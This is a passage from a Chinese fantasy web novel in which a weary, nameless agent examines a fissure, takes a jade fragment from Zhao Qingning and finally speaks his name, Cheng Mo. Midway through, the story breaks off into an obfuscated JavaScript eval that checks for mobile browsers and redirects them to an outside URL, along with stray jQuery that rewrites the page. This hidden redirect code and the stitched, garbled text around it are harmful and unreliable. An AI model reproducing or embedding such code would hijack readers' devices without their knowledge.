晨光从他背后斜射而来，将他半边侧脸镀成淡金。他的眉眼生得极深，眉骨如崖，眼窝如壑，鼻梁像刀锋裁过。


    那是一张曾在无数个深夜面对绝境、并且从未退却过的脸。


    也是一张在无数个黎明发现——


    自己仍然活着。


    仍然没有找到要找的东西。


    他动了。


    他从内袋取出一台仪器。


    巴掌大小。


    黑色磨砂外壳。


    没有任何品牌标识，没有任何型号铭文，只有一侧嵌着三根可伸缩天线——此刻收拢状态，像三根沉默的触须。


    他按下电源键。


    屏幕亮起。


    冷白色背光，分辨率极高，显示着赵青柠看不懂的波形和频谱。


    他蹲下身。


    把仪器探针伸向那道裂隙边缘。


    探针接触地面的瞬间——


    指针开始疯狂摆动。


    不是左右摇摆。


    是360度旋转。


    像一只被投入漩涡的指南针。


    像一枚失去地磁引力的信鸽。


    屏幕上的波形从正弦波变成锯齿波，从锯齿波变成完全无规律的噪点。


    数值框的数字从四位数跳到五位数，五位数跳到六位数，六位数跳出屏幕边界，变成一串不断向上滚动的乱码。


    然后——


    “滋——”


    焦糊味。


    黑烟从散热孔袅袅升起。


    屏幕裂成蛛网状，裂纹中央嵌着那根彻底烧毁的指针。


    液晶如黑色血液般从裂口缓慢渗出。


    他低头看着那台正在死去的仪器。


    没有惊讶。


    没有懊恼。


    甚至没有皱一下眉。


    他只是把它轻轻放在地上。


    像放下一个完成了使命的士兵。


    像把战友的遗体抬下担架，动作很轻，怕惊醒他。


    他站起身。


    然后他转身。


    面对赵青柠。


    他从内袋取出另一件东西。


    一个证件夹。


    黑色真皮封面，边角磨损，皮面起了一层细密的、像蛇蜕般的光泽。那是经年累月握在掌心、被体温反复浸润后才会形成的包浆。


    他翻开。


    左侧是一张照片。


    右侧是烫金的编号栏。


    照片上是一张年轻的脸。


    大约二十七八岁。


    眉眼与此刻的他七分相似，只是少了许多风霜——眼周没有细纹，眉间没有那道习惯性紧蹙留下的竖痕，唇角没有抿紧时微不可察的下垂。


    他穿着和此刻同样的黑色制服。


    肩章空白。


    胸牌空白。


    对着镜头微微抿着嘴角。


    那是一个还不习惯微笑的人，尝试微笑时的笨拙努力。


    照片下方，一行小字手写着入职日期。


    墨迹褪色，笔画却依然清晰。


    每一个数字都写得极用力，像要把那天的日期刻进纸张纤维里。


    2103.09.17。


    编号栏。


    烫金数字在晨光下泛着克制的冷光。


    007。


    姓名栏。


    空白。


    不是磨损褪色。


    不是刻意刮除。


    是从未填写过。


    从入职那天起，那一栏就是空的。


    他合上证件夹。


    收回内袋。


    贴着心脏的位置。


    整个过程中没有说一个字。


    然后他开口了。


    嗓音低沉。


    像砂纸打磨旧木。


    像深冬第一场雪落在屋顶。


    像二十三年前某个深夜，他站在临江大学校门外，隔着铁栅栏望向文科楼那扇亮着微光的窗户——


    却始终没有勇气拨出那个号码。


    “小姑娘。”


    他顿了顿。


    赵青柠发现他在看自己的锁骨。


    不，是在看她锁骨下方那枚隐入肌肤的莲花印记。


    它没有发光。


    它甚至没有温度。


    可他凝视着它的方式，像凝视一件失而复得、却永不再完整的遗物。


    “这道剑气。”


    他的声音更低了。


    “从哪里来？”


    他的目光第一次落在赵青柠脸上。


    那目光很重。


    不是压迫。


    不是审问。


    不是任何执法者面对当事人时惯常的锋利。


    是另一种重量。


    像溺水者望向浮木。


    像困兽辨认归途。


    像二十三年前那个秋夜，他独自站在临江大学校门外，看着302室那扇永远亮着的窗户——


    终于明白自己永远不会是敲门的人。


    赵青柠与他对视。


    她没有躲。


    她甚至没有思考“该不该说”“能不能说”“说了会有什么后果”。


    她只是摊开掌心。


    那几枚玉佩碎片静静躺在她的血痕里。


    晨光照过断面，折射出极淡极淡的、近乎透明的金线。


    那是那道剑气在这世上留下的最后一缕残响。


    像余音。


    像回响。


    像一首唱完的歌，最后一个音符还在空气中震颤，却再也没有下一句。


    她捡起最大的一片。


    断面边缘锋利，划过她指尖时又割开一道细口。


    她没有缩手。


    她把那片碎片放在他伸出的掌心上。


    他的掌心很暖。


    比她预想的暖。


    比他那张冷峻的脸更暖。


    他低头。


    凝视那片黯淡的、失去了所有灵光的玉髓。


    很久。


    久到警戒线外开始传来记者采访车的引擎轰鸣。


    久到幸存者们陆续被扶进救护车，披上保温毯，喝下第一口热水。


    久到太阳从东窗移到中天，把那道三十丈裂隙的阴影从一尺缩短到三寸。


    久到他身后那台报废的仪器，白烟散尽，屏幕彻底黑了。


    他的拇指。


    极轻极轻地。


    在那片碎玉断面上摩挲了一下。


    像一个父亲抚摸亡子额前的碎发。


    像一个儿子在坟前点燃第一炷香。


    像一个从未学会道歉的人，对着空无一人的房间，终于说出那句迟到了二十三年的：


    “对不起。”


    他没有出声。


    他只是在摩挲那片碎玉时，喉结滚动了一下。


    然后他把碎片小心翼翼放进内袋。


    贴着那张泛黄的证件照。


    贴着那个空白的姓名栏。


    贴着那个入职日期——2103.09.17。


    那是苏芃在临江大学心理咨询中心入职的第二年。


    那是他最后一次见到她。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216368|194118||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>那是他最后一次相信，自己配得上拥有姓名。


    他合上内袋。


    扣好纽扣。


    站起身。


    晨光落在他霜白的鬓角上。


    他没有回头。


    只是对着那片被剑气犁开的、深不见底的裂隙，轻声说：


    “我叫程默。”


    “程咬金的程。”


    “沉默的默。”


    这是他二十三年来第一次，在公开场合说出自己的名字。


    也是他二十三年来第一次，承认自己曾是那个人。


    曾承诺。


    曾反悔。


    曾消失。


    曾让一个等在镜子前的女子，从二十四岁等到四十七岁。


    等到头发白了。


    等到眼泪干了。


    等到镜面深处长出了三千张面孔，每一张都在问同一句话：


    ——你说过会来接我的。


    ——你什么时候来？


    他没有回答。


    他从来没有回答过。


    他只是在每一个失眠的深夜，对着空无一人的天花板，反复练习这三个字：


    “我叫程默。”


    然后在黎明到来前，再次忘记怎么说出口。


    此刻他终于说出来了。


    在这道剑气犁开的裂隙边缘。


    在这座他终于敢踏入的校门口。


    在这个二十三年后依然戴着那枚暗色发夹的女子，终于不必再等的清晨。


    他低下头。


    看着自己掌心那片碎玉。


    很小。


    很轻。


    比他记忆中任何一枚玉佩都更轻。


    可它在他掌心的重量，像一座山。


    他握紧它。


    转身。


    走向那辆没有任何涂装的黑色商务车。


    车门在他身后关闭。


    引擎无声启动。


    车轮碾过碎玻璃，发出细密的、清脆的碎裂声。


    赵青柠看着那辆车缓缓驶出东门。


    看着它汇入马路上逐渐密集的车流。


    看着它消失在2124年9月25日午后的秋光里。


    她低下头。


    摊开自己空荡荡的掌心。


    那些血痕正在结痂。


    那些碎片少了一片。


    那枚莲花印记依然沉睡。


    她忽然想起，从始至终，她都没有问过他的名字。


    她也没有问过那道剑气的来历。


    因为他们都知道。


    那不是需要问的问题。


    那是他二十三年前就该问、却始终没敢开口的问题。


    她把剩余的碎片重新拢进掌心。


    贴着锁骨下方那枚沉睡的莲花印记。


    风穿过废墟。


    卷起细白的齑粉。


    远方，临江城的天际线在秋阳下静静舒展。


    九百公里外。


    云台山巅，清风观。


    大殿中，李牧尘睁开眼。


    他望向东南方。


    仙识深处，那道寄于碎玉的剑气印记，刚刚完成了它最后的使命。


    没有告别。


    没有回响。


    只是在彻底消散前，传回一缕极轻极轻的余音。


    像一首唱完的歌。


    最后一个音符还在空气中震颤。


    他听懂了。


    他垂下眼帘。


    继续讲授那卷未竟的《上清紫府归元真解》。


    殿外，银杏叶落了一地金黄。